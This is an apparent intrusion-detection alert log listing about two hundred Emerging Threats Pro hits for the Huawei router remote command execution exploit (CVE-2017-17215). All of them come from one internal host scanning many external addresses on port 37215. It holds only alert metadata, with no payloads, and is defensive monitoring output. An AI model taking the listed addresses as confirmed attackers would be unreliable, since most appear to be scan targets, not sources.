02/19/24-18:38:06.104058	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39678	37215	192.168.2.15	31.136.129.81
02/19/24-18:37:31.122851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51564	37215	192.168.2.15	94.122.58.107
02/19/24-18:37:27.874343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36500	37215	192.168.2.15	94.122.225.214
02/19/24-18:36:22.313115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52530	37215	192.168.2.15	94.120.2.253
02/19/24-18:36:23.331728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59322	37215	192.168.2.15	94.123.70.165
02/19/24-18:37:48.304598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55334	37215	192.168.2.15	94.123.40.55
02/19/24-18:38:01.392425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35322	37215	192.168.2.15	94.120.0.163
02/19/24-18:38:06.100059	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43680	37215	192.168.2.15	31.136.170.243
02/19/24-18:36:46.830721	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51682	37215	192.168.2.15	94.187.117.159
02/19/24-18:38:01.392101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34002	37215	192.168.2.15	94.121.221.50
02/19/24-18:38:20.944064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50494	37215	192.168.2.15	94.120.240.143
02/19/24-18:37:48.304795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48912	37215	192.168.2.15	94.122.122.188
02/19/24-18:37:59.789214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46088	37215	192.168.2.15	156.247.23.82
02/19/24-18:38:01.393297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39772	37215	192.168.2.15	94.122.237.232
02/19/24-18:38:06.098386	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47902	37215	192.168.2.15	31.136.144.36
02/19/24-18:38:01.392697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54212	37215	192.168.2.15	94.187.105.98
02/19/24-18:37:31.125741	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59494	37215	192.168.2.15	94.122.235.149
02/19/24-18:37:27.869894	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43056	37215	192.168.2.15	94.120.240.45
02/19/24-18:37:27.870862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41830	37215	192.168.2.15	94.120.146.110
02/19/24-18:38:01.391772	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40136	37215	192.168.2.15	94.121.184.59
02/19/24-18:36:46.831953	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43922	37215	192.168.2.15	94.123.137.1
02/19/24-18:37:31.136147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50608	37215	192.168.2.15	94.120.31.100
02/19/24-18:37:48.744971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36046	37215	192.168.2.15	37.60.40.19
02/19/24-18:37:24.772454	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54812	37215	192.168.2.15	45.125.57.190
02/19/24-18:38:20.956603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40158	37215	192.168.2.15	94.122.220.112
02/19/24-18:37:59.640505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38626	37215	192.168.2.15	156.235.98.203
02/19/24-18:37:48.304431	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39586	37215	192.168.2.15	94.121.144.8
02/19/24-18:36:23.331311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33910	37215	192.168.2.15	94.123.28.213
02/19/24-18:37:02.129826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37658	37215	192.168.2.15	45.207.185.147
02/19/24-18:36:28.360286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33368	37215	192.168.2.15	94.121.98.209
02/19/24-18:38:01.393139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44154	37215	192.168.2.15	94.120.25.14
02/19/24-18:36:29.348712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38408	37215	192.168.2.15	94.121.188.221
02/19/24-18:38:20.943546	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51258	37215	192.168.2.15	94.120.222.118
02/19/24-18:37:55.352225	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38898	37215	192.168.2.15	37.16.14.162
02/19/24-18:37:27.872695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42396	37215	192.168.2.15	94.121.55.98
02/19/24-18:38:06.101195	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56286	37215	192.168.2.15	31.136.74.194
02/19/24-18:38:17.235414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55114	37215	192.168.2.15	31.136.39.224
02/19/24-18:37:15.415533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48098	37215	192.168.2.15	31.200.86.147
02/19/24-18:37:48.992514	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47998	37215	192.168.2.15	45.33.241.60
02/19/24-18:36:44.376150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44802	37215	192.168.2.15	31.136.52.235
02/19/24-18:37:15.415619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34642	37215	192.168.2.15	31.200.50.38
02/19/24-18:36:44.148023	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36922	37215	192.168.2.15	31.136.102.230
02/19/24-18:38:20.950278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48386	37215	192.168.2.15	94.121.115.58
02/19/24-18:36:46.844374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38746	37215	192.168.2.15	94.123.127.137
02/19/24-18:37:01.248474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45206	37215	192.168.2.15	122.114.75.245
02/19/24-18:38:17.236101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53366	37215	192.168.2.15	31.136.75.116
02/19/24-18:36:44.147451	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40088	37215	192.168.2.15	31.136.39.20
02/19/24-18:38:08.990550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45790	37215	192.168.2.15	94.122.82.183
02/19/24-18:37:16.804937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49790	37215	192.168.2.15	181.177.251.236
02/19/24-18:37:26.604892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42600	37215	192.168.2.15	45.138.70.10
02/19/24-18:37:48.303693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41982	37215	192.168.2.15	94.187.29.3
02/19/24-18:38:00.738474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46906	37215	192.168.2.15	156.235.96.175
02/19/24-18:37:01.158350	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48274	37215	192.168.2.15	31.200.77.121
02/19/24-18:36:23.331824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47188	37215	192.168.2.15	94.123.31.62
02/19/24-18:36:39.594608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39466	37215	192.168.2.15	45.126.229.67
02/19/24-18:38:06.098654	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53036	37215	192.168.2.15	31.136.146.241
02/19/24-18:36:29.348967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35198	37215	192.168.2.15	94.123.81.139
02/19/24-18:38:03.199806	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45930	37215	192.168.2.15	37.72.255.211
02/19/24-18:36:23.332224	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37518	37215	192.168.2.15	94.121.188.41
02/19/24-18:36:28.792669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49420	37215	192.168.2.15	45.172.112.143
02/19/24-18:37:28.048667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50784	37215	192.168.2.15	31.136.140.95
02/19/24-18:36:23.331538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37130	37215	192.168.2.15	94.123.26.224
02/19/24-18:37:24.711508	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49738	37215	192.168.2.15	45.207.178.194
02/19/24-18:37:48.304070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41018	37215	192.168.2.15	94.120.46.88
02/19/24-18:38:08.999237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58538	37215	192.168.2.15	94.122.3.84
02/19/24-18:37:01.125255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46264	37215	192.168.2.15	31.136.147.25
02/19/24-18:36:44.152582	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34924	37215	192.168.2.15	31.136.15.206
02/19/24-18:37:31.345171	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48042	37215	192.168.2.15	45.195.113.27
02/19/24-18:37:40.432370	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52862	37215	192.168.2.15	45.207.128.44
02/19/24-18:38:01.391626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40304	37215	192.168.2.15	94.120.14.96
02/19/24-18:36:28.734030	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43724	37215	192.168.2.15	45.127.163.157
02/19/24-18:36:49.859221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47242	37215	192.168.2.15	156.247.20.236
02/19/24-18:37:04.406041	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33600	37215	192.168.2.15	37.72.210.119
02/19/24-18:38:17.235187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59030	37215	192.168.2.15	31.136.116.17
02/19/24-18:37:15.415918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57656	37215	192.168.2.15	31.200.120.235
02/19/24-18:38:01.392563	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55612	37215	192.168.2.15	94.120.238.159
02/19/24-18:38:20.949334	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55268	37215	192.168.2.15	94.120.37.193
02/19/24-18:36:55.646616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45448	37215	192.168.2.15	156.254.80.249
02/19/24-18:36:46.830139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47518	37215	192.168.2.15	94.187.114.238
02/19/24-18:36:23.331928	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51308	37215	192.168.2.15	94.120.241.149
02/19/24-18:36:44.399827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57198	37215	192.168.2.15	31.200.30.75
02/19/24-18:36:28.359592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48816	37215	192.168.2.15	94.120.251.205
02/19/24-18:36:28.361652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52076	37215	192.168.2.15	94.123.67.93
02/19/24-18:38:16.357172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50444	37215	192.168.2.15	45.115.241.43
02/19/24-18:38:00.828840	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36628	37215	192.168.2.15	156.224.8.94
02/19/24-18:36:22.312633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59224	37215	192.168.2.15	94.123.111.123
02/19/24-18:38:06.098529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49018	37215	192.168.2.15	31.136.73.181
02/19/24-18:37:15.415728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43814	37215	192.168.2.15	31.200.110.241
02/19/24-18:36:28.792669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49420	37215	192.168.2.15	45.172.112.143
02/19/24-18:36:46.838602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42534	37215	192.168.2.15	94.120.34.202
02/19/24-18:38:01.112379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40124	37215	192.168.2.15	94.123.55.249
02/19/24-18:38:01.391923	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42382	37215	192.168.2.15	94.121.202.155
02/19/24-18:37:27.870517	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43904	37215	192.168.2.15	94.122.49.96
02/19/24-18:38:08.988601	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53770	37215	192.168.2.15	94.121.124.143
02/19/24-18:37:59.804740	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52176	37215	192.168.2.15	156.235.107.177
02/19/24-18:36:49.395679	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58316	37215	192.168.2.15	37.72.243.111
02/19/24-18:37:48.304256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49828	37215	192.168.2.15	94.120.56.46
02/19/24-18:36:22.312535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38596	37215	192.168.2.15	94.123.123.8
02/19/24-18:37:47.987181	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53240	37215	192.168.2.15	45.33.246.33
02/19/24-18:38:06.099156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37298	37215	192.168.2.15	31.136.56.5
02/19/24-18:36:46.844489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49278	37215	192.168.2.15	94.120.34.5
02/19/24-18:38:08.992035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60020	37215	192.168.2.15	94.121.98.243
02/19/24-18:36:28.361411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52438	37215	192.168.2.15	94.122.0.201
02/19/24-18:37:40.432468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51240	37215	192.168.2.15	45.115.240.199
02/19/24-18:37:48.304515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44678	37215	192.168.2.15	94.123.84.86
02/19/24-18:38:17.235591	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46582	37215	192.168.2.15	31.136.95.210
02/19/24-18:37:01.126365	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52544	37215	192.168.2.15	31.136.162.200
02/19/24-18:37:41.312439	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45356	37215	192.168.2.15	45.43.235.113
02/19/24-18:38:01.393435	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52944	37215	192.168.2.15	94.121.36.232
02/19/24-18:36:28.362059	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46474	37215	192.168.2.15	94.123.26.209
02/19/24-18:37:48.304338	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35222	37215	192.168.2.15	94.120.100.141
02/19/24-18:36:28.361098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57704	37215	192.168.2.15	94.121.57.90
02/19/24-18:38:08.988264	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57824	37215	192.168.2.15	94.123.78.89
02/19/24-18:38:08.774154	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38912	37215	192.168.2.15	156.241.11.125
02/19/24-18:37:40.801159	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46930	37215	192.168.2.15	222.186.174.59
02/19/24-18:36:44.375965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42614	37215	192.168.2.15	31.136.141.26
02/19/24-18:38:08.988714	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53152	37215	192.168.2.15	94.122.105.254
02/19/24-18:37:32.153159	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34182	37215	192.168.2.15	94.120.158.17
02/19/24-18:36:22.312277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42970	37215	192.168.2.15	94.122.13.243
02/19/24-18:37:48.130634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44800	37215	192.168.2.15	45.207.134.167
02/19/24-18:38:20.957167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36334	37215	192.168.2.15	94.123.50.160
02/19/24-18:38:20.943380	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45436	37215	192.168.2.15	94.122.64.239
02/19/24-18:37:01.752603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36598	37215	192.168.2.15	37.16.30.220
02/19/24-18:36:44.376551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58762	37215	192.168.2.15	31.136.111.166
02/19/24-18:38:03.200778	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43912	37215	192.168.2.15	37.72.244.181
02/19/24-18:36:22.313034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45592	37215	192.168.2.15	94.121.212.153
02/19/24-18:38:20.952751	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42906	37215	192.168.2.15	94.123.253.82
02/19/24-18:37:48.303807	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39776	37215	192.168.2.15	94.123.176.26
02/19/24-18:36:46.831198	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45044	37215	192.168.2.15	94.123.247.114
02/19/24-18:36:46.833025	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52260	37215	192.168.2.15	94.120.33.17
02/19/24-18:37:01.136064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43646	37215	192.168.2.15	122.224.237.121
02/19/24-18:36:44.376063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46540	37215	192.168.2.15	31.136.227.84
02/19/24-18:37:27.870684	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53392	37215	192.168.2.15	94.123.43.249
02/19/24-18:36:23.331311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33910	37215	192.168.2.15	94.123.28.213
02/19/24-18:36:44.147064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55872	37215	192.168.2.15	31.136.107.123
02/19/24-18:36:44.153428	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59480	37215	192.168.2.15	31.136.217.44
02/19/24-18:36:23.331161	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59124	37215	192.168.2.15	94.121.75.18
02/19/24-18:37:47.987926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38830	37215	192.168.2.15	45.127.160.138
02/19/24-18:37:55.919601	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37128	37215	192.168.2.15	156.254.88.4
02/19/24-18:37:01.984939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54754	37215	192.168.2.15	45.42.90.37
02/19/24-18:37:55.528819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40690	37215	192.168.2.15	156.77.130.234
02/19/24-18:38:20.949547	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42268	37215	192.168.2.15	94.120.174.10
02/19/24-18:38:08.987825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47976	37215	192.168.2.15	94.121.39.206
02/19/24-18:36:23.332037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48858	37215	192.168.2.15	94.121.117.124
02/19/24-18:37:48.304795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48912	37215	192.168.2.15	94.122.122.188
02/19/24-18:37:48.304959	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43724	37215	192.168.2.15	94.123.126.125
02/19/24-18:36:46.831579	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60470	37215	192.168.2.15	94.123.112.24
02/19/24-18:37:26.604792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52688	37215	192.168.2.15	45.43.235.46
02/19/24-18:37:48.111821	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38758	37215	192.168.2.15	45.117.144.54
02/19/24-18:37:15.416109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37120	37215	192.168.2.15	31.200.2.67
02/19/24-18:38:01.391487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58566	37215	192.168.2.15	94.123.1.240
02/19/24-18:36:29.348867	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45888	37215	192.168.2.15	94.120.164.149
02/19/24-18:37:15.415439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46360	37215	192.168.2.15	31.136.56.38
02/19/24-18:37:48.303908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60042	37215	192.168.2.15	94.123.117.106
02/19/24-18:37:41.580538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35852	37215	192.168.2.15	37.16.31.14
02/19/24-18:36:28.362205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54386	37215	192.168.2.15	94.123.47.2
02/19/24-18:36:46.832311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48374	37215	192.168.2.15	94.121.133.59
02/19/24-18:37:31.135998	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46844	37215	192.168.2.15	94.123.132.111
02/19/24-18:38:20.949098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54392	37215	192.168.2.15	94.121.119.0
02/19/24-18:37:25.689251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40168	37215	192.168.2.15	156.241.15.67
02/19/24-18:37:27.870293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52644	37215	192.168.2.15	94.120.169.73
02/19/24-18:36:22.312827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41814	37215	192.168.2.15	94.122.84.186
02/19/24-18:38:05.944777	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41180	37215	192.168.2.15	156.235.107.9
02/19/24-18:36:46.834760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36214	37215	192.168.2.15	94.123.179.203
02/19/24-18:38:20.946185	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53250	37215	192.168.2.15	94.123.48.85
02/19/24-18:36:28.359811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46302	37215	192.168.2.15	94.120.63.150
02/19/24-18:37:48.304879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41118	37215	192.168.2.15	94.121.63.41
02/19/24-18:36:54.161575	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41030	37215	192.168.2.15	156.93.225.105
02/19/24-18:37:24.573826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33012	37215	192.168.2.15	45.250.173.124
02/19/24-18:37:24.717566	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33046	37215	192.168.2.15	45.207.153.168
02/19/24-18:36:44.375797	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39026	37215	192.168.2.15	31.136.14.78
02/19/24-18:37:48.304170	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49236	37215	192.168.2.15	94.123.88.15
02/19/24-18:38:06.099278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45664	37215	192.168.2.15	31.136.72.37
02/19/24-18:37:01.125506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35482	37215	192.168.2.15	31.136.119.7
02/19/24-18:38:20.943707	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34310	37215	192.168.2.15	94.120.24.97
02/19/24-18:37:56.215737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42376	37215	192.168.2.15	156.254.85.64
02/19/24-18:37:31.137308	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57888	37215	192.168.2.15	94.122.90.78
02/19/24-18:36:28.360618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52680	37215	192.168.2.15	94.122.61.208
02/19/24-18:36:28.361758	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37628	37215	192.168.2.15	94.123.103.181
